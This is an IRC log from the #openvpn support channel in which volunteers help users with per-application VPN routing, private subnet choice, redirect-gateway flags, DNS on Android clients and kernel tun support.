13:28 < vaillor> in config file?
13:28 < mete> on cosnole vaillor
13:28 < mete> mrt ip_of_router
13:28 < mete> mtr sry
13:30 -!- raidz is now known as raidz_away
13:32 -!- Fast[BDC] is now known as pcdummy
13:33 -!- paccer_ [uid4847@gateway/web/irccloud.com/x-tnxmvpjyvxujhbgs] has joined #openvpn
13:33 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 258 seconds]
13:37 -!- raidz_away is now known as raidz
13:43 < vaillor> i need to specify that the client is openvpn connect on ios
13:43 < vaillor>  1. 192.168.1.254                     0.0%     7    2.1   2.2   2.0   2.4   0.1
13:43 < vaillor> this is mtr output
13:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 245 seconds]
13:52 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:53 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
13:55 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
13:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
14:02 -!- Orbi [~opera@anon-148-231.vpn.ipredator.se] has joined #openvpn
14:07 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 255 seconds]
14:16 -!- You're now known as ecrist
14:16 -!- brute11k1 [~brute@89.249.231.204] has joined #openvpn
14:16 -!- mode/#openvpn [+o ecrist] by ChanServ
14:17 -!- brute11k [~brute@89.249.231.204] has quit [Ping timeout: 256 seconds]
14:26 < kisom> Would it be possible to define --keepalive using --ccd on a tcp-server?
14:27 < kisom> I have Android clients which should not receive a keepalive every 10 sec
14:34 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
14:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
15:04 -!- LEDfan [~quassel@94-226-126-193.access.telenet.be] has quit [Remote host closed the connection]
15:04 -!- mistik1 [~mistik1@unaffiliated/mistik1] has joined #openvpn
15:13 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
15:16 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
15:32 -!- tcamuso [tcamuso@nat/redhat/x-rrqlrafzkmfzvfvo] has quit [Ping timeout: 245 seconds]
15:36 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has joined #openvpn
15:38 -!- cjs226 [~cjs226@99-42-101-89.lightspeed.austtx.sbcglobal.net] has quit [Client Quit]
15:38 <@EugeneKay> That's not in the valid list of ccd options, no.
15:39 -!- brute11k1 [~brute@89.249.231.204] has quit [Quit: Leaving.]
15:40 < ccherrett> OpenVPN Connect <- can you set it up without a profile, if not how do you create a profile?
15:40 < ccherrett> ovpn profile that is
15:53 -!- mistik1 [~mistik1@unaffiliated/mistik1] has quit [Ping timeout: 264 seconds]
15:58 -!- troll is now known as jtrucks
16:03 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
16:04 -!- tharkun [~0@unaffiliated/tharkun] has left #openvpn []
16:05 -!- mistik1 [~mistik1@184.170.63.25] has joined #openvpn
16:10 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
16:17 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:19 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 252 seconds]
16:19 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
16:30 <@EugeneKay> !as
16:30 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
16:36 -!- Orbi [~opera@anon-148-231.vpn.ipredator.se] has left #openvpn []
16:37 < mistik1> Is there a OSX version of ovpn?
16:38 < mistik1> If so where do I get it
16:38 <@EugeneKay> !osx
16:38 <@vpnHelper> "osx" is (#1) Tunnelblick includes everything you need to run OpenVPN on OS X. https://code.google.com/p/tunnelblick/ or (#2) Viscosity is another OpenVPN client for OS X, but it is commercial. http://www.thesparklabs.com/viscosity/
16:38 < mistik1> danke
16:39 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
16:54 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 246 seconds]
16:58 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
17:09 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has joined #openvpn
17:12 -!- DrChill [~DrChill@75.92.227.144] has joined #openvpn
17:12 < DrChill> Hello all, is it possible to use openvpn for only one application at a time, such that I could be using more than one vpn at a time?
17:13 < DrChill> Right now it tunnels all my connections, and I find this kind of annoying :(
17:15 <@EugeneKay> !routebyapp
17:15 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
17:16 < DrChill> Ah, I see, thank you
17:17 < DrChill> !routebyapp
17:17 <@vpnHelper> "routebyapp" is if you want to send only certain apps over the VPN you need to run a socks server on the internal VPN subnet (see !sockd) then get an app like proxifier (windows, osx) or tsocks (linux, BSD) to selectively route traffic over the socks proxy based on port/app/subnet or any combination.
17:17 < DrChill> !sockd
17:17 <@vpnHelper> "sockd" is if you want !routebyapp you can use this dante config www.ircpimps.org/sockd.conf but BE SURE TO ONLY RUN THIS ON THE INTERNAL VPN IP! otherwise you will be an open proxy. that config has no security because its expected to run inside openvpn
17:20 < KrissO> (22:40:29) (ccherrett) OpenVPN Connect <- can you set it up without a profile, if not how do you create a profile?
17:20 < KrissO> (22:40:37) (ccherrett) ovpn profile that is
17:20 < KrissO> don't think so
17:21 < KrissO> you mean if you can add config settings in the app then those options don't appear to exist
17:21 <@EugeneKay> Especially as OpenVPN connect is the commercial product
17:21 < KrissO> yeah
17:22 < rob0> is it? I thought it was an android thing. It's the Ovpn-AS client?
17:23 <@EugeneKay> It /can/ work with a GPL server, but it's geared towards AS
17:26 -!- Six6siX_ [~six6six@46.255.119.34] has joined #openvpn
17:26 < DrChill> EugeneKay: Can I still do this if I do not own the vpn server?
17:27 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 260 seconds]
17:27 <@EugeneKay> DrChill - If you can get your proxifier app to use something other than the default route table, sure. Linux would be best for this.
17:28 < pekster> You could simply route the app across the VPN tunnel with policy routing. No need to deal with any proxy (SOCKS or otherwise) at all then
17:29 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has joined #openvpn
17:29 < DrChill> I am in Linux now, in the past I have used proxychains for something like this, although it only supports SOCK[45] and http[s]
17:29 < pekster> Or bind your app to the VPN IP, with the drawback that changes in IP or disconnects (minus the --persist-tun and --persist-local-ip directives) would destroy the socket
17:29 < DrChill> pekster: That would be iptables?
17:30 < pekster> Under Linux you'd need a combination of netfilter ("iptables") and tc to set that up
17:30 < DrChill> Hmm, is there a tutorial for this somewhere, surely I'm not the first person to want this
17:30 -!- Six6siX_ [~six6six@46.255.119.34] has quit [Ping timeout: 256 seconds]
17:31 < pekster> The LARTC howto has a nice primer on policy routing in Linux
17:31 < pekster> binding your app to the VPN IP is handled by your application, so that's not specific to openvpn or, generally speaking, your OS
17:32 < rob0> tc for policy routing? ITYM ip route for multiple tables and ip rule for rules to direct packets thereto.
17:32 < DrChill> pekster: This would allow me to open vpn on a per app basis? Also with multiples of the same app (2 firefoxes)?
17:32 < pekster> Erm, yes, that. Getting my erlier conversation elsewhere confused
17:33 < pekster> You need a way to distinguish the data in policy routing. 'ip rule' sends them to different routing tables (set up with 'ip route table ...') so you need to *separate* the traffic
17:35 -!- Six6siX [~six6six@jasmine1.sammybakar.com] has quit [Ping timeout: 240 seconds]
17:35 < pekster> Depends completely on how you launch your application. At the end of the day if you want policy routing, you need to define the *policies* separating your traffic. That's up for you to decide what is the best approach
17:36 < pekster> openvpn doesn't care. It simply delivers traffic to your endpoint. If you want some (but not all) traffic to go across your VPN, set your OS up to route it accordingly, or use a proxy across the VPN which requires a proxy server at the other end and a proxy-aware application
17:37 < DrChill> I would ideally launch the program with vpn through the terminal, "vpntunnel firefox &" would be nice
17:38 < DrChill> Can I tell openvpn to also create a SOCK5 port, so other apps can easily connect
17:39 < pekster> Nope. You can run a SOCKS server at the endpoint though. I use tinyproxy+openvpn to get an external IP on my cloud VM for external testing
17:39 < DrChill> I'm not sure I fully understand the iptable, and how I would separate processes fomr eachother
17:40 < DrChill> However if I don't own the vpn server I can't set that up?
17:40 < pekster> Right
17:42 < pekster> Policy routing sounds like your best bet. Start with the LARTC howto to learn the basics. Part of what you'll learn there is how to route based on the fwmark (the per-packet netfilter "marks", or numeric values.) Using that, you can leverage any of the functionality of netfilter to match on things such as user owning the process, IP, port, destination, etc
17:43 < DrChill> I suppose that is the only method available right now?
17:44 < pekster> Basically, yes. You need to define "what" traffic goes where. OpenVPN at a basic level is just like another virtual network card in your system. By itself, it doesn't "do" anything to connect another NIC or cable
17:44 < DrChill> Could I attempt to write an app that connects to vpn on a per app basis?
17:45 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:46 -!- mitz_ [~mitz@khp222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 272 seconds]
17:47 < pekster> My point is you don't need an "app" to do that. An application's traffic can be routed as defined by your OS, or an application can bind to the address on the VPN interface directly
17:47 -!- Six6siX [~six6six@46.255.119.34] has joined #openvpn
17:49 < pekster> If you want to tunnel through another protocol, that's effectively a proxy. Using a proxy requires that both the client and server (the 2 endpoints of your proxy connection) speak the same protocol. If you don't control both endpoints, your options are limited to what you can do on the client side: namely policy routing or address binding
17:52 -!- Six6siX [~six6six@46.255.119.34] has quit [Ping timeout: 256 seconds]
17:52 < DrChill> I see, I'm just not looking forward to messing with a new program (iptables), but I suppose it is useful to learn
17:53 <@krzee> not just useful
17:53 <@krzee> mandatory
17:53 <@krzee> at this point, you have gone too far into networking to not learn it
17:54 <@krzee> (unless you decide to turn around and not look back :D )
17:54 < DrChill> Well, I did just want to use this as a quick proxy :)
17:54 <@krzee> as a quick proxy for a single app (not what its designed for)
17:54 < DrChill> Yup
17:54 < DrChill> :)
17:55 <@krzee> and even to proxy through it as designed, you'd need iptables, an entire subnet routed to you for it, or ipv6
17:56 < DrChill> Indeed, I wonder if it would be worth it to make a script that opens a port, and converts SOCK5 to VPN
17:57 < DrChill> Then I could use tsock/proxychains
17:57 < pekster> Naw, no need for routed IPs or ipv6 or anything. It's fully possible to run firefox as, say, the "vpnproxy" user and use -m owner to mark packets and have 'ip rule' route them via the VPN with outbound SNAT to the VPN IP
17:58 < DrChill> Hmm, that seems best I suppose, although I still like my script idea
17:58 < pekster> DrChill: That's possible too, if your application is SOCKS aware but unable to bind to a defined IP. See f.eg, the 'Listen' and 'Bind' directives for tinyproxy
17:59 < pekster> You'll need to see what happens to tinyproxy if the bind address goes down, and possibly shut it down and restart it as part of the --up and --down (or related) hooks provided to you by openvpn
18:04 < pekster> DrChill: Come to think of it, you'll still need policy routing anyway since you'll effectively be multi-homed then and need to at minimum keep traffic sourced from the VPN IP routed to your VPN endpoint (assuming it's configured to allow that.)
18:04 < pekster> As before, LARTC has all the info you need on multiple uplinks
18:05 < pekster> You're effectively asking to turn your system into a router able to independently route to multiple upstream locations. That's squarely in the realm of advanced networking
18:05 < pekster> (and, fwiw, largely unrelated to openvpn. OpenVPN is just the transport in this case, no different than a 2nd NIC connected to another ISP you had installed)
18:07 < DrChill> Well, it does disguise my IP, which is basically what I wanted
18:08 < DrChill> I was hoping for something quick, but I suppose knowledge is knowledge
18:10 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-roeghtufuogtvnxk] has joined #openvpn
18:14 -!- ceda__ [~fredrik@c83-248-146-227.bredband.comhem.se] has joined #openvpn
18:15 -!- pcdummy_ [~quassel@mx1.page4me.ch] has joined #openvpn
18:15 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-fyoygazeaaauqdnv] has quit [Ping timeout: 258 seconds]
18:15 -!- meepmeep_ [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 258 seconds]
18:15 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 258 seconds]
18:16 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
18:16 -!- b00gz__ is now known as b00gz_
18:16 -!- Winston_Smith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
18:16 -!- blorgh_ [~bagar@c-ba08e353.029-192-7570701.cust.bredbandsbolaget.se] has joined #openvpn
18:16 -!- DrChill [~DrChill@75.92.227.144] has left #openvpn ["Leaving"]
18:16 -!- mete [~mete@mete.shell.la] has joined #openvpn
18:17 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:21 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 272 seconds]
18:21 -!- ceda [~fredrik@c83-248-146-227.bredband.comhem.se] has quit [Ping timeout: 272 seconds]
18:21 -!- pcdummy [~quassel@unaffiliated/pcdummy] has quit [Ping timeout: 272 seconds]
18:21 -!- blorgh [~bagar@c-ba08e353.029-192-7570701.cust.bredbandsbolaget.se] has quit [Ping timeout: 272 seconds]
18:21 -!- Winston_Smith is now known as WinstonSmith
18:23 -!- mete [~mete@mete.shell.la] has quit [Ping timeout: 256 seconds]
18:27 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 255 seconds]
18:27 -!- mete [~mete@84.200.83.33] has joined #openvpn
18:30 -!- scoates [~sean@iconoclast.caedmon.net] has quit [Ping timeout: 256 seconds]
18:31 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
18:31 -!- scoates [~sean@iconoclast.caedmon.net] has joined #openvpn
18:35 -!- kmmndr [~tomtom@bro67-2-82-227-110-8.fbx.proxad.net] has quit [Ping timeout: 256 seconds]
18:35 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:47 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Connection reset by peer]
18:47 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
19:16 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has joined #openvpn
19:21 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
19:21 < me0615> sir I would like ask for you help for me to better understand what is written on the manul
19:21 < me0615> I would like to ask what is the meaning of "If your VPN setup is over a wireless network, where all clients and the server are on the same wireless subnet, add the local flag:"  <<--  this one
19:22 < me0615> what does it mean that all clients an server are on the same wireless subnet?
19:25 <@krzee> is your server and your client on the same local network?
19:25 <@krzee> or are they on separate lans?
19:25 < me0615> on the server, i use options: topology subnet and server 50.8.0.0 255.255.240.0	
19:26 < me0615> would that make the server and client on the same subnet?
19:26 <@krzee> you own that entire subnet?
19:27 < me0615> what do you mean who own? I only make it so like that to setup a subnet
19:28 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 276 seconds]
19:28 <@krzee> you can't just pick any subnet
19:28 <@krzee> !1918
19:28 <@vpnHelper> "1918" is (#1) RFC1918 makes three unique netblocks available for private use: 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16 or (#2) see also: http://en.wikipedia.org/wiki/Private_network or http://www.faqs.org/rfcs/rfc1918.html or (#3) Too lazy to find your own subnet? Try this one: http://scarydevilmonastery.net/subnet.cgi
19:29 -!- trow [~xxx@ip-static-94-242-205-4.as5577.net] has quit [Ping timeout: 255 seconds]
19:29 < me0615> really? i cant just pick any subnet?
19:29 <@krzee> really.
19:29 < me0615> why sir?
19:29 <@krzee> I'm sorry that this will sound rude, but if you don't know that you probably aren't ready to be configuring / administrating vpns
19:30 < me0615> ok. anyway, for example i use 10.0.0.0/24
19:30 <@krzee> openvpn access-server might be more suited for you, has a nice guy and attempts to do most of the work for you
19:30 <@krzee> has a nice GUI*
19:30 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
19:31 < me0615> ok. but let me stick here first. what if I use 10.0.0.0/24, will that make my server and client on the same subnet?
19:31 <@krzee> do you know what a subnet is?
19:31 <@krzee> !101
19:31 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
19:32 <@EugeneKay> It's what the Germans used in WW2 to keep the Allies from mining their ports
19:32  * EugeneKay badum-tish
19:32 <@krzee> LOL
19:32 <@krzee> a sub net
19:32 <@krzee> hahahah
19:32 < KrissO> lol
19:32 <@krzee> !eugenekay
19:32 <@vpnHelper> "eugenekay" is right because EugeneKay is always right.
19:32 < me0615> its a subnetwork right
19:37 < pekster> 50.8/13 is owned by "Clearwire US LLC." If you are not Clearwire LLC, you are not allowed to use that IP space. And if you are, using a /20 for OpenVPN is very silly since it can't reasonably support more than some dozens of clients at load without CPU limitiations due to the single-threaded model
19:37 < pekster> So, many things wrong with just that one line
19:37 < me0615> krzee im confused on the saying on the manual.  because on my openvpn config the subnet i use is 255.255.240.0  but my server eth0 is 255.255.255.0.  i dont know if that will matter.
19:37 <@krzee> and why do you use such a giant subnet for your vpn...?
19:39 <@krzee> read what pekster said ^
19:39 <@krzee> g'day pekster
19:40 < me0615> 255.255.255.0 should be enough ?
19:41 < me0615> on the subnet chart, 255.255.240.0 has 4096 clients
19:41 <@krzee> yes
19:41 <@krzee> like pekster said, openvpn will never do that
19:41 < me0615> ok then I will move to 255.255.255.0
19:41 < pekster> OpenVPN is not reasonable able to support 4k clients...
19:41 < pekster> reasonably*
19:41 < me0615> ok
19:41 < me0615> got it
19:42 <@krzee> and i should say openvpn 2 will never do that, who knows what the future could someday hold
19:42 < me0615> now if I use 255.255.255.0 will that make my server and client now on same wireless subnet?
19:42 <@krzee> it will be 100% unrelated
19:42 < me0615> so how will I resolve what the manual stated?
19:42 < me0615> im confused
19:43 < pekster> That has to do with where your client is relative to your VPN server
19:43 < me0615> pekster can you rephrase that. english is not really my first language. i only have the basics.
19:43 < me0615> please
19:43 <@krzee> if client and server are on the same physical lan, then they are on the same subnet
19:44 < pekster> The text you quoted earlier is from the --redirect-gateway directive. You must use the "local" flag when your client is connecting to the OpenVPN server and both are on the same subnet, otherwise you will end up with routing issues
19:44 < pekster> This has nothing to do with the subnet the server is using for the VPN network
19:44 < pekster> It's the external network the VPN tunnel is being established over
19:46 < me0615> krzee, physical lan? so my server and vpn client is really not on same subnet?
19:46 <@krzee> ...are they on the same lan?
19:48 < me0615> the situation is this. my server is on the office and the clients use a mobile broadband to connect to internet and eventually to my vpn server.  does this mean they are not on the same lan?
19:48 < me0615> that is wireless mobile broadband.
19:48 < pekster> Of course they aren't on the same LAN. You have two completely different uplinks
19:49 <@krzee> you should get someone who knows networking to do your vpn
19:49 < me0615> krzee I cant. this is only personal in nature.
19:50 -!- raidz is now known as raidz_away
19:50 < me0615> pekster: if they are not on the same LAN then what redirect-gateway directive is appropriate?
19:50 < pekster> I don't mean disrespect, but if basic concepts such as understanding how routing works between networks, openvpn is not going to be a system you can reasonably use
19:50 <@krzee> !spoonfeeding
19:50 <@vpnHelper> "spoonfeeding" is http://www.mp3car.com/the-faq-emporium/53368-faq-what-is-spoon-feeding.html
19:51 <@krzee> !101
19:51 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
19:51 < me0615> this is why I am barely learning guys.
19:51 < pekster> You need to learn how networking works *first*, then learn to use openvpn
19:51 <@krzee> if you were learning to swim would you start in the middle of the ocean?
19:53 < me0615> i understand guys. but I just want to know this directive because, although my server and client has connectivity on wired connection but on wireless, it seems that there is no connectivity which I am puzzled.
19:54 <@krzee> wasn't this an android problem that i linked you to the solution to the other day?
19:55 < me0615> actually, I have two wireless mobile network. both networks has no issues on connecting client to server but on one mobile network, there is no internet connectivity but I can do ping to ip address but not using hostname.
19:55 < me0615> krzee, yes, that was helpful and I have solved that regarding ifconfig and route.
19:56 < me0615> now the problem relies on why on one mobile network, client can connect to server but no web traffic but i can ping ip address but not hostname.
19:57 <@krzee> !logs
19:57 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
19:58 <@krzee> oh did you just say that ping works and dns does not?
19:58 <@krzee> err ping by ip does, by hostname does not...?
20:00 < me0615> yes
20:00 < me0615> i am doing the ping on this android mobile to test if there is internet connectivity.  but what I have is can ping ip address but not by hostname
20:00 < me0615> i cant provide the log now because I did not bring my sdcard reader.
20:01 <@krzee> then your problem is that your system is trying to reach your mobile providers name server over your vpn, but cannot reach it over the vpn
20:02 <@krzee> see if you can force the android client to use 8.8.8.8 for its nameserver
20:02 <@krzee> that'll fix it, but will break captive portals (like airport/hotel internet that redirects to a login page before you can access)
20:03 < me0615> i have option on the server push "dhcp-option DNS 208.67.222.222" push "dhcp-option DNS 208.67.220.220" push "dhcp-option DNS 8.8.4.4" push "dhcp-option DNS 8.8.8.8"
20:03 < me0615> but still no web traffic
20:03 < me0615> only ping ip address i can do.
20:03 <@krzee> do you have some sort of script on the client to actually USE those?
20:03 <@krzee> !pushdns
20:03 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
20:03 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
20:04 < pekster> Not that this will register with you, but also:
20:04 < pekster> !opendns
20:04 <@vpnHelper> "opendns" is You should avoid using OpenDNS for pushed DNS servers as they violate spec and send you to ad/search domains for mistyped URLs. Use GoogleDNS instead. See !dns for more info.
20:04 <@krzee> i don't know of a pre-made script for android for that, and I'm pretty sure you aren't going to be making your own
20:05 < me0615> <@krzee> do you have some sort of script on the client to actually USE those?  <<-- other script? no i dont? i did not read on the manual that I need to have another script so I can use those push dns
20:08 < me0615> do I need another script to be able to use the push option on android mobile client?
20:08 < me0615> i have pull option though on my client config.
20:08 <@krzee> I'm not sure how well your version of openvpn will handle it
20:08 <@krzee> pretty sure your name servers would be overwritten
20:08 < me0615> i think openvpn settings uses 2.1.1
20:08 <@krzee> its not really the version of openvpn
20:09 <@krzee> its that there would need to be something extra to handle the os
20:09 -!- vederation [~Rapscalli@72.53.107.82] has joined #openvpn
20:09 < me0615> like what so I can google it or find answer for that somewhere if not here.
20:10 <@krzee> just do what i suggested first
20:10 < vederation> hello, simple linux server here, how do I load the tun/tap kernel module? "find /lib/modules |grep tun" failed to bring up anything
20:10 < vederation> question*
20:10 <@krzee> force your android device to use 8.8.8.8 for dns
20:10 < me0615> like so in the config -->> dhcp-option DNS 8.8.4.4
20:10 <@krzee> vederation, compile it into your kernel
20:10 < me0615> like so in the config -->> dhcp-option DNS 8.8.8.8
20:10 <@krzee> me0615, no, outside of openvpn
20:11 < vederation> how so? using modprobe?
20:11 <@krzee> modprobe would be if you had it compiled as a module
20:11 <@krzee> you're saying you do not? so go compile it
20:11 < pekster> Note that it won't show up under /lib/modules/`uname -r` unless you have it compiled as a module; it's also possible to build tun support into the running kernel
20:12 < me0615> krzee like nano /etc/resolv.conf and place the nameserver 8.8.8.8 like that?
20:12 <@krzee> no, do it from the gui
20:13 < vederation> thanks, both of ya
20:13 <@krzee> a) android doesn't care about /etc/resolv.conf
20:13 < vederation> got a lead to follow now
20:13 <@krzee> b) if it did, it would simply get overwritten
20:14 < me0615> gui of android to setup the dns?  hmmmm i have not seen any setting like that on my android mobile.
20:15 <@krzee> its somewhere in network settings
20:18 -!- vederation [~Rapscalli@72.53.107.82] has quit []
20:18 < me0615> wireless network setting or on the mobile network setting? just nothing there. i checked just now. :(
20:21 <@krzee> sorry dude, I'm sure you'll figure it out without me, I'm going to do work
20:22 < me0615> ok but your advice is force my mobile to use dns 8.8.8.8 right?
20:35 -!- kmmndr [~tomtom@bro67-2-82-227-110-8.fbx.proxad.net] has joined #openvpn
20:37 -!- me0615 [~me0615@122.2.46.76] has left #openvpn []
20:38 -!- jtrucks is now known as jtroll
20:41 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:58 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Quit: WeeChat 0.4.0]
21:01 -!- sailerboy [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has joined #openvpn
21:16 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:21 -!- tjz [~tjz@unaffiliated/tjz] has joined #openvpn
21:58 -!- jtroll is now known as jtrucks
23:18 -!- ccherrett [~christoph@184.70.186.190] has quit [Ping timeout: 246 seconds]
23:33 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
23:58 -!- sailerboy [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has quit [Ping timeout: 246 seconds]
--- Day changed Tue Apr 02 2013
00:12 -!- Alex_ [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has joined #openvpn
00:20 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has quit [Quit: Leaving]
00:29 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jaabcuinivbmpsst] has quit [Ping timeout: 258 seconds]
00:30 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-iprbmupgplzgdsdn] has quit [Ping timeout: 258 seconds]
00:37 -!- bkrieg1337 [~bkrieg133@120.28.171.16] has joined #openvpn
02:02 -!- mattock_afk is now known as mattock
02:03 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has quit [Ping timeout: 240 seconds]
02:07 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:26 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-xifixzoijyvohvth] has joined #openvpn
02:26 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-zftxatyrqtzufryq] has joined #openvpn
02:27 -!- Alex_ [~Alex@pool-108-0-135-86.lsanca.fios.verizon.net] has quit [Ping timeout: 246 seconds]
02:30 -!- Guest48755 [~earendil@multivac.valis-e.com] has left #openvpn []
02:31 -!- samael [~earendil@multivac.valis-e.com] has joined #openvpn
02:35 -!- xbanux [~xbanux@115.254.75.113] has joined #openvpn
02:41 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 256 seconds]
02:50 -!- mikkel [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
03:00 -!- brute11k [~brute@89.249.231.191] has joined #openvpn
03:30 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 264 seconds]
03:34 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn
03:38 -!- u0m3 [~Radu@92.80.78.255] has quit [Ping timeout: 245 seconds]
03:40 -!- pcdummy_ is now known as pcdummy
03:40 -!- pcdummy [~quassel@mx1.page4me.ch] has quit [Changing host]
03:40 -!- pcdummy [~quassel@unaffiliated/pcdummy] has joined #openvpn
03:53 -!- FishyCodeSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Remote host closed the connection]
03:53 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has joined #openvpn
03:53 -!- BadCodSmell [~BadCodSme@host81-149-71-228.in-addr.btopenworld.com] has quit [Changing host]
03:53 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
03:54 -!- mistik1_ [~mistik1@184.170.56.91] has joined #openvpn
03:57 -!- mistik1 [~mistik1@184.170.63.25] has quit [Ping timeout: 245 seconds]
04:00 -!- u0m3 [~Radu@109.96.134.180] has joined #openvpn
04:07 -!- u0m3 [~Radu@109.96.134.180] has quit [Ping timeout: 260 seconds]
04:28 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has quit [Remote host closed the connection]
04:28 -!- BadCodSmell [~BadCodSme@pdpc/supporter/professional/badcodsmell] has joined #openvpn
04:32 -!- nutcase [~nutcase@unaffiliated/nutcase] has quit [Quit: Oh noes the internet broke.]
04:33 -!- vaillor [~ahah@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
04:37 -!- Anon2013 [~Anon2013@server.mastermindnetworks.org] has joined #openvpn
04:49 -!- Anon2013 [~Anon2013@server.mastermindnetworks.org] has quit [Ping timeout: 256 seconds]
05:04 < MacGyver> plaisthos: Good news! (For certain interpretations of good.)
05:04 < MacGyver> plaisthos: I have a coredump from an OpenVPN instance compiled with -O0 -ggdb
05:06 < MacGyver> plaisthos: Or... hmm.
05:06 < MacGyver> Okay that may not be true.
05:06 -!- Gruu_ [~Gruu_@213.211.132.86.static.edpnet.net] has joined #openvpn
05:06 < MacGyver> Seems pacman decided to overwrite my install.
05:07 < MacGyver> Or...
05:07 < MacGyver> No I was wrong, it *is* the correct build.
